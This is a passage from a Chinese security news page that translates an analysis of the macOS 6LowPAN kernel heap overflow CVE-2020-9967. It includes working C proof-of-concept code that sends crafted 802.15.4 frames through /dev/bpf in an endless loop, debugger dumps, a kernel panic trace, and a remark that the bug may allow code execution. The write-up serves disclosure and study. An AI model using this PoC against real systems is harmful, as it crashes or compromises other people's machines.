{char buf[11] = {};int bpf = 0;for(int i = 0; i < 99; i++){sprintf(buf,"/dev/bpf%i",i);bpf = open(buf,O_RDWR);if( bpf != -1 ) {printf("Opened device /dev/bpf%i\n", i);break; }}if(bpf == -1) {printf("Cannot open any /dev/bpf* device, exiting\n");exit(1); }return bpf;
}// Associate device
void assoc_dev(int bpf, char* interface)
{struct ifreq bound_if;strcpy(bound_if.ifr_name, interface);if(ioctl( bpf, BIOCSETIF, &bound_if ) > 0) {printf("Cannot bind bpf device to physical device %s, exiting\n", interface);exit(1);}printf("Bound bpf device to physical device %s\n", interface);
}// Write trigger frame
void write_single_frame(int bpf)
{ssize_t data_length = 32;struct frame_t frame;memcpy(frame.header.ether_dhost, dest_mac, ETHER_HDR_LEN);memcpy(frame.header.ether_shost, src_mac, ETHER_HDR_LEN);//  802.15.4 frame type. frame.header.ether_type = 0x908;frame.len = (2*ETHER_ADDR_LEN) + ETHER_TYPE_LEN + data_length;// Length of frame - memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len);frame.payload[0] = 0xff;frame.payload[1] = 0xff;// This is the start of the "data" passed to frame802154_parse and considered frame header // m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *)// These are used for the FCF (no flags set)frame.payload[2] = 0;frame.payload[3] = 0;frame.payload[4] = 0;// As none FCF are set p+=3 bytes. // header length// c = p - data;// c = 3// payload length// pf->payload_len = (4 - 3);// pf->payload_len = 1// This is the start of our payload passed to sixxlowpan_uncompressframe.payload[5] = 0;frame.payload[6] = 2; // SICSLOWPAN_HC1_NH_UDP// Just pad the frame with 'A'. for (int j = 7; j < 32; j++) {frame.payload[j] = 0x41;} ssize_t bytes_sent;bytes_sent = write(bpf, &frame, frame.len);if(bytes_sent > 0) {printf("Bytes sent: %ld\n", bytes_sent);} else {perror("Error sending frame");exit(1);}
}int main(int argc, char *argv[])
{char* interface = "en0";int bpf;bpf = open_bpf_device();assoc_dev(bpf, interface);// Do this in a loop to ensure we corrupt data following mbuf. while (1)write_single_frame(bpf);return 0;
}

导致如下结果:

frame #0: 0xffffff8012dfa1da kernel`sixxlowpan_uncompress [inlined] memmove(dst=0xffffff806f16f82b, src=0xffffff806f16f806, ulen=65529) at loose_ends.c:873:2 [opt](lldb) register read
General Purpose Registers:rax = 0x0000000000000000rbx = 0x0000000000000000rcx = 0xffffff8876c7bd28rdx = 0x000000000000fff9rdi = 0xffffff806f16f806rsi = 0xffffff806f16f82brbp = 0xffffff8876c7bcf0rsp = 0xffffff8876c7bc30r8 = 0xffffff8876c7bc38r9 = 0xffffff8876c7bc40r10 = 0x0000000000000000r11 = 0x0000000000000003r12 = 0x0000000000000028r13 = 0x0000000000000003r14 = 0xffffff8876c7bd28r15 = 0xffffff806f16f803rip = 0xffffff8012dfa1da  kernel`sixxlowpan_uncompress + 298 [inlined] memmove at subrs.c:703kernel`sixxlowpan_uncompress + 298 [inlined] __memmove_chk at sixxlowpan.c:853kernel`sixxlowpan_uncompress + 298 at sixxlowpan.c:853rflags = 0x0000000000000206cs = 0x0000000000000008fs = 0x0000000000000000gs = 0x0000000000000000Source:(lldb) x/20x 0xffffff806f16f806
0xffffff806f16f806: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffff806f16f816: 0x41414141 0x41414141 0x00000000 0x00000000
0xffffff806f16f826: 0x00000000 0x72750000 0x2d726569 0x68737570
0xffffff806f16f836: 0x7070612d 0x632e656c 0x612e6d6f 0x6e64616b
0xffffff806f16f846: 0x656e2e73 0x00002e74 0x00010005 0x62670c28Dest: (lldb) x/20x 0xffffff806f16f82b
0xffffff806f16f82b: 0x69727500 0x702d7265 0x2d687375 0x6c707061
0xffffff806f16f83b: 0x6f632e65 0x6b612e6d 0x736e6461 0x74656e2e
0xffffff806f16f84b: 0x0500002e 0x28000100 0x2d62670c 0x72756f63
0xffffff806f16f85b: 0x2d726569 0x75700a34 0x612d6873 0x656c7070
0xffffff806f16f86b: 0x6d6f6303 0x616b6106 0x03736e64 0x0074656e

由于群集 mbuf 只有2048个字节,且以链接的列表格式链接在一起,因此会导致通过受攻击者控制的数据损坏所处理的 mbuf。

在 KASAN 内核 中运行稍作修改的 PoC 2,也可以看到发生了堆损坏问题,且我们已触发对 nextptr 的验证:

panic(cpu 0 caller 0xffffff80108f005e): slab_nextptr_panic: mcache.cl buffer 0xffffff806e4e4800 in slab 0xffffff801a0ed9d0 modified after free at offset 0: 0x45454545454545 out of range [0xffffff806e3b0000-0xffffff80723b0000)Backtrace (CPU 0), Frame : Return Address
0xffffff8881e8ece0 : 0xffffff800f88bd34 mach_kernel : _handle_debugger_trap + 0x384
0xffffff8881e8ed30 : 0xffffff800fc2598c mach_kernel : _kdp_i386_trap + 0x15c
0xffffff8881e8ed70 : 0xffffff800fc11a47 mach_kernel : _kernel_trap + 0xa87
0xffffff8881e8ee00 : 0xffffff800fc2c6e0 mach_kernel : trap_from_kernel + 0x26
0xffffff8881e8ee20 : 0xffffff800f88b62e mach_kernel : _DebuggerTrapWithState + 0x4e
0xffffff8881e8ef40 : 0xffffff8010ef9636 mach_kernel : _panic_trap_to_debugger.cold.1 + 0xa6
0xffffff8881e8ef90 : 0xffffff800f88c236 mach_kernel : _panic_trap_to_debugger + 0x156
0xffffff8881e8efe0 : 0xffffff8010ef9284 mach_kernel : _panic + 0x54
0xffffff8881e8f050 : 0xffffff80108f005e mach_kernel : _slab_nextptr_panic + 0x2de
0xffffff8881e8f0c0 : 0xffffff80108ee561 mach_kernel : _slab_alloc + 0x301
0xffffff8881e8f150 : 0xffffff80108d2e48 mach_kernel : _mbuf_slab_alloc + 0x1b8
0xffffff8881e8f2b0 : 0xffffff80108722ce mach_kernel : _mcache_alloc_ext + 0x92e
0xffffff8881e8f430 : 0xffffff80108d087d mach_kernel : _mbuf_cslab_alloc + 0x33d
0xffffff8881e8f5b0 : 0xffffff80108722ce mach_kernel : _mcache_alloc_ext + 0x92e
0xffffff8881e8f730 : 0xffffff8010872a23 mach_kernel : _mcache_alloc + 0xd3
0xffffff8881e8f800 : 0xffffff80108d729d mach_kernel : _m_getcl + 0x2d
0xffffff8881e8f8b0 : 0xffffff8010146ed9 mach_kernel : _sixlowpan_input + 0x119
0xffffff8881e8fa10 : 0xffffff8010120986 mach_kernel : _dlil_ifproto_input + 0x136
0xffffff8881e8fa70 : 0xffffff8010102ef3 mach_kernel : _dlil_input_packet_list_common + 0x2153
0xffffff8881e8fe70 : 0xffffff801012010d mach_kernel : _dlil_input_thread_cont + 0x2cd
0xffffff8881e8ffa0 : 0xffffff800fbf85be mach_kernel : _call_continuation + 0x2e

由于写入的大小受控且数据受控,因此很可能将该问题转变为代码执行问题。    

推荐阅读

50款苹果 app享特权:可绕过macOS Big Sur 防火墙和VPN

苹果推出 macOS 漏洞奖励计划,最高赏金100万美元

原文链接

https://alexplaskett.github.io/CVE-2020-9967/

题图:Pixabay License

本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

 觉得不错,就点个 “在看” 或 "赞” 吧~

详细分析Apple macOS 6LowPAN 漏洞(CVE-2020-9967)相关推荐

  1. 详细分析 Chrome V8 JIT 漏洞 CVE-2021-21220

     聚焦源代码安全,网罗国内外最新资讯! 前言 CVE-2021-21220 是4月13号在 github 上公开的一个半 0day v8 引擎 JIT 模块漏洞.由于当时最新stable版本 (89. ...

  2. 详细分析 Sonlogger 任意文件上传漏洞 (CVE-2021-27964)

     聚焦源代码安全,网罗国内外最新资讯! 概述 Sonlogger 是土耳其SFC 公司 开发的一款应用软件,兼容土耳其<第5651号法>,是一款基于 Web 的 SonicWall 防火墙 ...

  3. 手把手教你详细分析 Chrome 1day 漏洞 (CVE-2021-21224)

     聚焦源代码安全,网罗国内外最新资讯! 本文共分五部分: 一.时间线 二.背景 三.漏洞及补丁分析 1.漏洞复现 四.漏洞利用分析 1.漏洞利用 2.内存读写 3.代码执行 五.参考资料 一.时间线 ...

  4. 详细分析微软“照片”应用图像编码器漏洞 (CVE-2020-17113)

     聚焦源代码安全,网罗国内外最新资讯! 在上一篇<微软"照片"应用Raw 格式图像编码器漏洞 (CVE-2021-24091)的技术分析>中,笔者基于对Olympus ...

  5. 什么是cve什么是cwe_什么是CVE 2020 0601又名Curveball,为何如此危险

    什么是cve什么是cwe Monday the 13th of January Brian Krebs published on his blog that he had sources tellin ...

  6. 详细分析谷歌紧急修复的 Chrome 0day(CVE-2021-21224)

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士 本文作者 iamelli0t 发布文章,详细分析了谷歌于今天修复的两个近期备受关注的两个漏洞Chrome CVE-2021-21220 和 ...

  7. 详细分析开源软件 ExifTool 的任意代码执行漏洞 (CVE-2021-22204)

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士 本文作者详述了自己如何从 ExifTool 发现漏洞的过程. 背景 在查看我最喜欢的漏洞奖励计划时,我发现他们使用ExifTool 从所上 ...

  8. 这个 WebKit 漏洞助力 Pwn2Own 冠军斩获5.5万美元赏金(详细分析)

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 Pwn2Own 东京大赛已落下帷幕,我不由想起了三次蝉联大赛冠军的 Fluoroacetate 团队在Pwn2Own 温哥华大赛上使用 ...

  9. 年中盘点:详细分析2019年上半年爆发的macOS恶意软件

    概述 自从我们在去年12月对2018年的macOS恶意软件进行年终盘点以来,我们发现新型macOS恶意软件的爆发数量有所增加.一些旧恶意软件家族产生了新的变种,一些恶意软件使用了新的技巧,同时还产生了 ...

最新文章

  1. Using unique option prefix myisam-recover instead of myisam-recover-option
  2. NLTK命名实体识别NER
  3. 知道为啥失败么?87%的机器学习项目都是这么栽了的……
  4. 如何将.py文件转换为.exe
  5. java 控制 crt_secureCRT关闭连接自动关闭tomcat服务
  6. windows 下查看进程占用
  7. 20年备受关注的6款数据工具!谁最好用?毫无争议的答案来了
  8. SLAM学习笔记 - ORB_SLAM2源码运行及分析
  9. GridView控件属性及应用(转载)
  10. 重磅干货!揭秘波士顿动力背后的专利技术
  11. php更新记录没有获取值,php – 节点更新:获取旧值
  12. 一个好用的在线java反编译工具
  13. 远程安全接入解决方案
  14. 华为公有云服务-计算类(2)
  15. 云麦体脂秤华为体脂秤_华为、小米、联想的智能体脂秤三国杀
  16. 【OPENCV_系列电子PDF图书连载】计算机视觉从入门到精通完整学习路线专栏
  17. Linux(一)之相关介绍与安装
  18. 质量管理之代码的圈复杂度
  19. python 滤镜色卡
  20. 2000_wideband extension of telephone speech using a hidden Markov model

热门文章

  1. 网络管理中的安全保障
  2. 基于django的视频点播网站开发-step10-后台评论管理功能...
  3. Java泛型程序设计
  4. DB First .edmx
  5. 如何找到一个好的Joomla主机提供商
  6. ACM ICPC 2011-2012 Northeastern European Regional Contest(NEERC)B Binary Encoding
  7. 手机摇一摇功能音量大小跟系统音量一致
  8. VK Cup 2016 - Round 1 (Div. 2 Edition) A. Bear and Reverse Radewoosh 水题
  9. openstack windows下远程debug调试(komodo)
  10. androidpn 推送初探